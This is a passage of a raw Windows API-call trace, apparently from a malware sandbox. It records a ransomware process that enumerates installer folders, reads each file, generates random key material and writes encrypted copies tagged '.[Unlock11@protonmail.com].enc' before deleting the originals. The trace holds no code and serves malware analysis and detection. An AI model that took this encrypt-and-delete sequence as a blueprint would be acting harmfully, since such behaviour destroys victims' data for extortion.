(normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.133] GetFileType (hFile=0x3ac) returned 0x1 [0114.133] GetLastError () returned 0x0 [0114.133] GetLastError () returned 0x0 [0114.133] GetFileType (hFile=0x3ac) returned 0x1 [0114.133] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.133] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.133] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.133] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.133] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.133] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.133] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.133] GetLastError () returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c28 | out: hHeap=0x2ad0000) returned 1 [0114.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2778 | out: hHeap=0x2ad0000) returned 1 [0114.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0114.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.134] GetLastError () returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0114.134] GetLastError () returned 0x0 [0114.134] GetLastError () returned 0x0 [0114.135] GetLastError () returned 0x0 [0114.135] GetLastError () returned 0x0 [0114.136] GetLastError () returned 0x0 [0114.137] GetLastError () returned 0x0 [0114.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c68 | out: hHeap=0x2ad0000) returned 1 [0114.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.137] GetLastError () returned 0x0 [0114.137] GetLastError () returned 0x0 [0114.137] GetLastError () returned 0x0 [0114.138] GetLastError () returned 0x0 [0114.138] GetLastError () returned 0x0 [0114.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.138] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0114.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.138] GetLastError () returned 0x0 [0114.140] GetLastError () returned 0x0 [0114.140] GetLastError () returned 0x0 [0114.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.140] GetLastError () returned 0x0 [0114.140] GetLastError () returned 0x0 [0114.140] GetLastError () returned 0x0 [0114.140] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x5121) returned 0x36f8548 [0114.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.141] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x5125) returned 0x36f8548 [0114.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6bd8 [0114.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bc8 | out: hHeap=0x2ad0000) returned 1 [0114.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x5128) returned 0x3887a10 [0114.141] GetCurrentThreadId () returned 0x9b0 [0114.141] GetLastError () returned 0x0 [0114.141] GetLastError () returned 0x0 [0114.141] GetLastError () returned 0x0 [0114.141] GetLastError () returned 0x0 [0114.142] GetCurrentThreadId () returned 0x9b0 [0114.142] GetLastError () returned 0x0 [0114.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0114.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0114.142] GetLastError () returned 0x0 [0114.142] GetLastError () returned 0x0 [0114.142] GetCurrentThreadId () returned 0x9b0 [0114.142] GetLastError () returned 0x0 [0114.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388cb40 | out: hHeap=0x2ad0000) returned 1 [0114.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.143] GetLastError () returned 0x0 [0114.143] GetLastError () returned 0x0 [0114.143] GetCurrentThreadId () returned 0x9b0 [0114.143] GetLastError () returned 0x0 [0114.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.143] GetLastError () returned 0x0 [0114.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.144] CloseHandle (hObject=0x3ac) returned 1 [0114.144] GetLastError () returned 0x0 [0114.144] GetCurrentThreadId () returned 0x9b0 [0114.144] GetLastError () returned 0x0 [0114.144] GetLastError () returned 0x0 [0114.144] CloseHandle (hObject=0x39c) returned 1 [0114.144] GetLastError () returned 0x0 [0114.144] GetCurrentThreadId () returned 0x9b0 [0114.145] GetLastError () returned 0x0 [0114.145] GetLastError () returned 0x0 [0114.145] GetLastError () returned 0x0 [0114.145] GetLastError () returned 0x0 [0114.145] GetLastError () returned 0x0 [0114.145] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0114.146] GetLastError () returned 0x0 [0114.146] GetCurrentThreadId () returned 0x9b0 [0114.147] GetLastError () returned 0x0 [0114.147] GetCurrentThreadId () returned 0x9b0 [0114.147] GetLastError () returned 0x0 [0114.147] GetLastError () returned 0x0 [0114.147] GetLastError () returned 0x0 [0114.147] GetLastError () returned 0x0 [0114.147] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1032\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0114.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.147] GetCurrentThreadId () returned 0x9b0 [0114.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.148] GetLastError () returned 0x0 [0114.148] GetLastError () returned 0x0 [0114.148] GetLastError () returned 0x0 [0114.148] GetLastError () returned 0x0 [0114.148] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0114.148] GetLastError () returned 0x0 [0114.148] GetCurrentThreadId () returned 0x9b0 [0114.148] GetLastError () returned 0x0 [0114.148] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.149] GetLastError () returned 0x0 [0114.149] GetCurrentThreadId () returned 0x9b0 [0114.149] GetLastError () returned 0x0 [0114.149] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.149] GetLastError () returned 0x0 [0114.149] GetCurrentThreadId () returned 0x9b0 [0114.149] GetLastError () returned 0x0 [0114.149] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.149] GetLastError () returned 0x0 [0114.149] GetCurrentThreadId () returned 0x9b0 [0114.149] GetLastError () returned 0x0 [0114.149] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.149] GetLastError () returned 0x0 [0114.149] GetCurrentThreadId () returned 0x9b0 [0114.149] GetLastError () returned 0x0 [0114.150] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.150] GetLastError () returned 0x12 [0114.150] GetCurrentThreadId () returned 0x9b0 [0114.150] GetLastError () returned 0x12 [0114.150] GetLastError () returned 0x12 [0114.150] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0114.150] GetCurrentThreadId () returned 0x9b0 [0114.150] GetLastError () returned 0x12 [0114.150] GetLastError () returned 0x12 [0114.150] GetLastError () returned 0x12 [0114.150] GetLastError () returned 0x12 [0114.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.151] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0114.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0114.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0114.151] GetLastError () returned 0x12 [0114.151] GetLastError () returned 0x12 [0114.151] GetLastError () returned 0x12 [0114.151] GetLastError () returned 0x12 [0114.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.151] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0114.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0114.152] GetCurrentThreadId () returned 0x9b0 [0114.152] GetLastError () returned 0x12 [0114.152] GetLastError () returned 0x12 [0114.152] GetLastError () returned 0x12 [0114.152] GetLastError () returned 0x12 [0114.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0114.152] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0114.152] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.153] GetCurrentThreadId () returned 0x9b0 [0114.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0114.153] GetCurrentThreadId () returned 0x9b0 [0114.153] GetLastError () returned 0x12 [0114.153] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0114.153] GetCurrentThreadId () returned 0x9b0 [0114.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce30 [0114.153] GetCurrentThreadId () returned 0x9b0 [0114.153] GetLastError () returned 0x0 [0114.153] GetCurrentThreadId () returned 0x9b0 [0114.154] GetLastError () returned 0x0 [0114.154] GetCurrentThreadId () returned 0x9b0 [0114.154] GetCurrentThreadId () returned 0x9b0 [0114.154] GetLastError () returned 0x0 [0114.154] GetCurrentThreadId () returned 0x9b0 [0114.154] GetLastError () returned 0x0 [0114.154] GetCurrentThreadId () returned 0x9b0 [0114.154] GetLastError () returned 0x0 [0114.154] GetCurrentThreadId () returned 0x9b0 [0114.154] GetLastError () returned 0x0 [0114.154] GetCurrentThreadId () returned 0x9b0 [0114.154] GetLastError () returned 0x0 [0114.154] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0)) returned 1 [0114.155] GetLastError () returned 0x0 [0114.155] GetCurrentThreadId () returned 0x9b0 [0114.155] GetLastError () returned 0x0 [0114.155] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664214 | out: pbBuffer=0x3664214) returned 1 [0114.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0114.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.155] GetCurrentThreadId () returned 0x9b0 [0114.155] GetCurrentThreadId () returned 0x9b0 [0114.155] GetLastError () returned 0x0 [0114.155] GetCurrentThreadId () returned 0x9b0 [0114.155] GetLastError () returned 0x0 [0114.156] GetCurrentThreadId () returned 0x9b0 [0114.156] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.156] GetFileType (hFile=0x39c) returned 0x1 [0114.156] GetCurrentThreadId () returned 0x9b0 [0114.156] GetLastError () returned 0x0 [0114.156] GetFileType (hFile=0x39c) returned 0x1 [0114.156] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.156] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.158] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.158] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.158] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.158] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.159] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.159] GetLastError () returned 0x0 [0114.159] GetCurrentThreadId () returned 0x9b0 [0114.159] GetLastError () returned 0x0 [0114.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0114.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.159] GetLastError () returned 0x0 [0114.159] GetLastError () returned 0x0 [0114.159] GetLastError () returned 0x0 [0114.159] GetLastError () returned 0x0 [0114.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0114.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c08 [0114.159] GetLastError () returned 0x0 [0114.160] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.161] GetFileType (hFile=0x3ac) returned 0x1 [0114.161] GetLastError () returned 0x0 [0114.162] GetCurrentThreadId () returned 0x9b0 [0114.162] GetLastError () returned 0x0 [0114.162] GetFileType (hFile=0x3ac) returned 0x1 [0114.162] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.162] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.162] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.162] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.162] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.162] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.162] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.162] GetLastError () returned 0x0 [0114.162] GetCurrentThreadId () returned 0x9b0 [0114.162] GetLastError () returned 0x0 [0114.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c08 | out: hHeap=0x2ad0000) returned 1 [0114.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0114.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.163] GetLastError () returned 0x0 [0114.163] GetLastError () returned 0x0 [0114.163] GetCurrentThreadId () returned 0x9b0 [0114.163] GetCurrentThreadId () returned 0x9b0 [0114.165] GetCurrentThreadId () returned 0x9b0 [0114.165] GetCurrentThreadId () returned 0x9b0 [0114.165] GetCurrentThreadId () returned 0x9b0 [0114.167] GetCurrentThreadId () returned 0x9b0 [0114.167] GetCurrentThreadId () returned 0x9b0 [0114.167] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2dc5) returned 0x36f8548 [0114.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6bf8 [0114.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d38 | out: hHeap=0x2ad0000) returned 1 [0114.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2dc8) returned 0x38273e0 [0114.168] GetCurrentThreadId () returned 0x9b0 [0114.168] GetCurrentThreadId () returned 0x9b0 [0114.168] GetCurrentThreadId () returned 0x9b0 [0114.168] GetCurrentThreadId () returned 0x9b0 [0114.169] CloseHandle (hObject=0x3ac) returned 1 [0114.169] GetCurrentThreadId () returned 0x9b0 [0114.169] CloseHandle (hObject=0x39c) returned 1 [0114.169] GetCurrentThreadId () returned 0x9b0 [0114.169] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0114.170] GetCurrentThreadId () returned 0x9b0 [0114.171] GetCurrentThreadId () returned 0x9b0 [0114.171] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1033\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0114.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0114.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.171] GetCurrentThreadId () returned 0x9b0 [0114.171] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0114.172] GetCurrentThreadId () returned 0x9b0 [0114.172] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.172] GetCurrentThreadId () returned 0x9b0 [0114.172] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.172] GetCurrentThreadId () returned 0x9b0 [0114.172] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.172] GetCurrentThreadId () returned 0x9b0 [0114.172] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, 